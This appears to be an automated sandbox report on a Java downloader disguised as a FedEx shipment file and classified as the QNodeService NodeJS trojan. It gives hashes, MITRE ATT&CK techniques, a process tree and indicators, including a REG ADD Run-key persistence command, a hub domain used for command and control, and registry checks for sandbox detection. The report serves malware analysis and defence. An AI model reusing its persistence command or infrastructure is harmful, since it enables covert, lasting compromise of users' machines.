qnodeservice | e28c627767fe05831e29d27494df463d277978725fa74b4bdf18840861e7781b

General

Target

FedEx #187320605737.jar
Size

106KB
MD5

639fd60d4b49d245a3cfcf1b0efd53d8
SHA1

dbb2cc62b6bafc230cd704bc0ab7bda4553dd2d7
SHA256

e28c627767fe05831e29d27494df463d277978725fa74b4bdf18840861e7781b
SHA512

d6c8973a23a5244032b28825279e108c7cf88ba5a9057fd2379f145cfa4bd91de0d4be96420638a2c138a6b66f2800590d194a2396875a4eb18cca23edbf0c26

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
196	node.exe
3988	node.exe
1096	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\4ae3d318-7e15-4b9d-8825-980f057ed251 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab42-182.dat	js
behavioral2/files/0x000100000001ab42-185.dat	js
behavioral2/files/0x000100000001ab42-189.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
25	wtfismyip.com
26	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
196	node.exe
196	node.exe
196	node.exe
196	node.exe
3988	node.exe
3988	node.exe
3988	node.exe
3988	node.exe
1096	node.exe
1096	node.exe
1096	node.exe
1096	node.exe
1096	node.exe
1096	node.exe
1096	node.exe
1096	node.exe
1096	node.exe
1096	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4708 wrote to memory of 3896	4708	java.exe	76
PID 4708 wrote to memory of 3896	4708	java.exe	76
PID 3896 wrote to memory of 196	3896	javaw.exe	80
PID 3896 wrote to memory of 196	3896	javaw.exe	80
PID 196 wrote to memory of 3988	196	node.exe	82
PID 196 wrote to memory of 3988	196	node.exe	82
PID 3988 wrote to memory of 1096	3988	node.exe	83
PID 3988 wrote to memory of 1096	3988	node.exe	83
PID 1096 wrote to memory of 5064	1096	node.exe	85
PID 1096 wrote to memory of 5064	1096	node.exe	85
PID 5064 wrote to memory of 4128	5064	cmd.exe	86
PID 5064 wrote to memory of 4128	5064	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\FedEx #187320605737.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:4708
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\0969a94a.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3896
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:196
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_PUye24\boot.js --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3988
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_PUye24\boot.js --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1096
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "4ae3d318-7e15-4b9d-8825-980f057ed251" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5064
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "4ae3d318-7e15-4b9d-8825-980f057ed251" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:4128

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/196-183-0x00000063FD380000-0x00000063FD381000-memory.dmp

Filesize
4KB

Download
memory/1096-190-0x000000C099280000-0x000000C099281000-memory.dmp

Filesize
4KB

Download
memory/3988-186-0x000003365A080000-0x000003365A081000-memory.dmp

Filesize
4KB

Download

Analysis

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